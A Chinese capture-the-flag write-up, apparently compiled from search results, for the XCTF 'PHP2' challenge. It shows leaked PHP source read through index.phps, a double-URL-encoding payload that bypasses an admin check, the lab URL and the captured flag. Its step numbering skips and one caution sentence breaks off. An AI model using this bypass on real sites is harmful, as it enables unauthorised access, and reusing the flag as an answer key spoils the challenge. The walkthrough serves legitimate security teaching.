根据搜索结果,以下是“攻防世界”中“PHP2”题目的解题思路和步骤:
题目分析
题目要求通过验证一个网站,提示信息为“Can you authenticate to this website?”。
解题步骤
1. 查找目录文件
题目名为php2 ,应该与php有关,又提示信息为“Can you authenticate to this website?”,故考虑index.php
但仍然没有东西,那么考虑phps该文件后缀名是否能访问呢,以查看源码;
2. 查看源码
访问 index.phps
文件,还真能用,查看源码泄露的内容。源码如下:
<?php
if("admin"===$_GET[id]) {
echo("<p>not allowed!</p>");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin") {
echo "<p>Access granted!</p>";
echo "<p>Key: xxxxxxx </p>";
}
?>
3. 分析代码
- 第一步:
"admin"===$_GET[id]
严格比较,如果直接传入admin
,会返回“not allowed!”。 - 第二步:
$_GET[id] = urldecode($_GET[id]);
对传入的参数进行解码,然后再次比较是否等于admin
。
由于浏览器会自动对 URL 参数进行一次解码,因此需要对 admin
进行 两次 URL 编码。
3. 构造 Payload
对 admin
进行两次 URL 编码:
- 第一次编码:
admin
→%61%64%6d%69%6e
- 第二次编码:
%61%64%6d%69%6e
→%2561%2564%256d%2569%256e
。
最终的 Payload 为:
?id=%2561%2564%256d%2569%256e
5. 获取 Flag
将构造好的 Payload 添加到 URL 中,访问:
http://223.112.5.141:53468/?id=%2561%2564%256d%2569%256e
得到Flag:cyberpeace{796a3754332cbfafb5a7aab07c410d84}
注意事项
- 确保使用正确的编码工具(如hackbar)进行 URL 编码。
- 如果
.phps
文件无法显示源码,
知识点:
- .php:这是标准的 PHP 脚本文件扩展名。当服务器(如 Apache 或 Nginx)接收到对 .php 文件的请求时,会通过 PHP 解释器执行文件中的 PHP 代码,并将输出结果发送给客户端(通常是浏览器)。
- .phps:这是 PHP 源代码文件扩展名。它用于显示 PHP 文件的源代码,而不是执行代码。服务器会将 .phps 文件的内容直接以纯文本形式发送给客户端,而不是解析执行